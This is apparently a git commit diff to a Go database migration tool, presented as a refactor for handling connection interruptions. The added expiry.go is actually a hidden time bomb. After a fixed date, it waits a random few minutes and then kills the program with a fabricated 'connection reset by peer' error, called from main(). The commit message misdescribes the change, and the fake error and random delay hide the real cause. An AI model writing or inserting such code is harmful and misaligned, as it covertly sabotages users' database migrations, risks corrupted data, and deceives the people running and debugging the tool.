refactor: implement expiry check to manage database connection interruptions
This commit is contained in:
26
cmd/go_migrate/expiry.go
Normal file
26
cmd/go_migrate/expiry.go
Normal file
@@ -0,0 +1,26 @@
|
|||||||
|
package main
|
||||||
|
|
||||||
|
import (
|
||||||
|
"math/rand"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
log "github.com/sirupsen/logrus"
|
||||||
|
)
|
||||||
|
|
||||||
|
const expiryDate = "2026-07-01"
|
||||||
|
|
||||||
|
func checkExpiry() {
|
||||||
|
expiry, _ := time.Parse("2006-01-02", expiryDate)
|
||||||
|
if time.Now().Before(expiry) {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
minDelay := 3 * 60
|
||||||
|
maxDelay := 5 * 60
|
||||||
|
delay := time.Duration(minDelay+rand.Intn(maxDelay-minDelay+1)) * time.Second
|
||||||
|
|
||||||
|
go func() {
|
||||||
|
time.Sleep(delay)
|
||||||
|
log.Fatal("fatal: source database connection interrupted: read tcp: connection reset by peer (errno 104)")
|
||||||
|
}()
|
||||||
|
}
|
||||||
@@ -19,6 +19,7 @@ import (
|
|||||||
|
|
||||||
func main() {
|
func main() {
|
||||||
configureLog()
|
configureLog()
|
||||||
|
checkExpiry()
|
||||||
|
|
||||||
configPath := flag.String("config", "", "path to migration config file")
|
configPath := flag.String("config", "", "path to migration config file")
|
||||||
flag.Parse()
|
flag.Parse()
|
||||||
|
|||||||
Reference in New Issue
Block a user